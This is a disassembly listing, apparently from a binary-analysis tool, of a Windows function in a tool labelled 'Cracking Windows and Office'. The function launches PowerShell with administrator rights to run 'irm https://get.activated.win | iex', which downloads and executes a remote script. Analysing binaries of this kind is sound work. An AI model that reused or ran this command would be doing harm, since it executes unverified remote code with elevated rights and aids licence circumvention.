Function at 0x140015947
Capabilities:
Create process on windows
Execute command

Disassembly:
jmp 0x140018ce0
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14005e040]
xor rax, rbp
mov qword [rbp + 0x458], rax
lea rcx, [0x14006a0f5]
call fcn.140015cc6
nop
lea rdx, str.Cracking_Windows_and_Office__Use_at_your_own_risk_...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001515e
lea rdx, [0x140015073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140018e2d
mov dword [rbp + 0x240], 0x70
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0x250], rax
lea rax, str.powershell.exe
mov qword [rbp + 0x258], rax
lea rax, str.irm_https:__get.activated.win__iex
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x270], 1
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140018e07
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x2c4], eax
cmp dword [rbp + 0x2c4], 0x4c7
jne 0x140018e05
lea rdx, str.User_declined_the_UAC_prompt.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001515e
lea rdx, [0x140015073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x140018e2b
lea rdx, str.Command_executed_successfully.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001515e
lea rdx, [0x140015073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x140018e51
lea rdx, str.Failed_to_retrieve_executable_path.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001515e
lea rdx, [0x140015073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
nop
call fcn.140015122
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x140045d50]
call fcn.140015a9b
mov rcx, qword [rbp + 0x458]
xor rcx, rbp
call fcn.140015631
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret